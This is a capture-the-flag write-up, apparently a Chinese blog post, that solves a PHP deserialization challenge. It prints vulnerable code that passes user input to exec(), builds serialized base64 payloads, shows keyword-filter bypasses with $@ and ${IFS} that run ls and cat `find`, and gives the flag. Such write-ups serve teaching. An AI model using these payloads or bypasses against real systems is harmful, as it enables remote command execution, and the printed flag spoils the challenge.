PHP反序列化——江苏工匠杯

题目:

攻防世界 (xctf.org.cn)

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

 unserialize可知php反序化

分析代码:

1. `class ease{}`:这里定义了一个名为`ease`的类。

2. `private $method;`和`private $args;`:这两行声明了类中的两个私有属性`$method`和`$args`,这些属性只能在类的内部访问。

3. `function __construct($method, $args) {...}`:这是类的构造函数`__construct`,在类实例化时会被自动调用。构造函数接受两个参数`$method`和`$args`,并将它们分别赋值给类的属性`$method`和`$args`。

4. `$this->method = $method;`和`$this->args = $args;`:这两行代码将构造函数接收到的参数值分别赋给类的属性`$method`和`$args`。

1. `function __destruct(){}`:这是一个特殊的PHP魔术方法`__destruct()`,用于在对象被销毁时自动调用。当对象不再被引用时,PHP会自动调用`__destruct()`方法。

2. `if (in_array($this->method, array("ping"))) {...}`:这里使用`in_array()`函数检查`$this->method`是否在数组`array("ping")`中。如果`$this->method`的值是`ping`,则执行下面的代码块。

3. `call_user_func_array(array($this, $this->method), $this->args);`:这行代码使用`call_user_func_array()`函数动态调用对象的方法。它接受两个参数,第一个参数是一个数组,包含要调用的对象和方法名,第二个参数是一个数组,包含要传递给方法的参数。在这里,它会调用当前对象的`$this->method`方法,并传递`$this->args`作为参数。

function ping($ip){}:这是一个PHP函数的定义,函数名为ping,接受一个参数$ip

exec($ip, $result);:这行代码使用exec()函数执行系统命令,其中$ip是要执行的命令,$result是一个数组,用来存储命令执行的结果。

var_dump($result);:这行代码使用var_dump()函数输出$result数组的内容,显示数组中的元素及其类型。

function waf($str){}:这是一个PHP函数的定义,函数名为waf,接受一个参数$str

if (!preg_match_all("/(\||&|; |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {}:这行代码使用preg_match_all()函数对输入的字符串$str进行正则表达式匹配。如果字符串中不包含|&;、空格、/catflagtacphpls这些关键词,则执行下面的代码块。

return $str;:如果字符串不包含上述关键词,则直接返回原始的输入字符串$str

else { echo "don't hack"; }:如果字符串中包含上述关键词,则输出don't hack,表示不允许进行恶意操作。

function __wakeup(){}:这是PHP中的一个魔术方法__wakeup(),在反序列化对象时会自动调用该方法。

foreach($this->args as $k => $v) {}:这行代码使用foreach循环遍历对象的$this->args属性,将键值对分别赋值给变量$k$v

$this->args[$k] = $this->waf($v);:在循环中,对每个值$v进行过滤处理,调用对象的waf()方法对其进行处理,并将处理后的值重新赋给$this->args[$k]

定义了一个__wakeup()魔术方法,在对象反序列化时会对对象的$this->args属性中的每个值进行过滤处理,调用对象的waf()方法对其进行过滤,并更新属性的值

$ctf=@$_POST['ctf'];:这行代码首先尝试从$_POST数组中获取名为ctf的参数的值,并将其赋给变量$ctf。在这里使用了@符号来抑制可能的错误提示,即使获取$_POST['ctf']的值出现错误也不会抛出错误。

@unserialize(base64_decode($ctf));:这行代码对获取到的$ctf值进行处理。首先使用base64_decode()函数对$ctf进行解码,然后使用unserialize()函数对解码后的值进行反序列化操作。

作用是从$_POST请求中获取名为ctf的参数值,对该值进行base64解码后再进行反序列化操作。这种操作可能存在安全风险,因为恶意用户可以利用反序列化漏洞执行恶意代码。因此,在实际应用中需要谨慎处理用户输入数据,以防止安全漏洞的发生。

  function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

分析可得playload:

<?php
class ease{
    private $method;
    private $args;
	
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a = new ease("ping",array('id'));
echo serialize($a)."<br>";
echo base64_encode(serialize($a));
?>

PHP 在线工具 | 菜鸟工具 (jyshare.com)运行后得

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:2:"id";}}<br>Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyOiJpZCI7fX0=

 取<br>后字符串

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyOiJpZCI7fX0=

用火狐hackbar

说明命令执行成功

因为下面有过滤:考虑

${IFS}             //空格绕过
$@                 //空变量

 修改playload

$a = new ease("ping",array('l$@s'));//修改payload生成代码的这一行即可

将$@插入ls中间

 运行

注意提交时字符串前加入ctf=

同样得到代码

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l$@s";}}<br>Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJEBzIjt9fQ==

 继续取后面的字符串

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJEBzIjt9fQ==

再次在hackbar中执行

发现可疑目录flag_1s_here

接下来看看它目录下的文件

find 查看当前及子目录下的所有文件

 使用cat查看find列出的文件,

重新构造playlaod

$a = new ease("ping",array('ca$@t${IFS}`find`'));//修改payload生成代码的这一行即可

 其中ca$@t${IFS}`find`

解析下来应该为 cat `find`

cat查看文件

find查找文件

反引号`用来执行命令,并将命令的输出作为字符串返回。在这里,执行find命令,用于在文件系统中查找文件

后重新生成playload

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:17:"ca$@t${IFS}`find`";}}<br>Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNzoiY2EkQHQke0lGU31gZmluZGAiO319

同样截取后面的字符串 

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNzoiY2EkQHQke0lGU31gZmluZGAiO319

在hackbar中提交

箭头即为flag

cyberpeace{7db3fb76fcfcd76a94e6d9c828a09542}

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值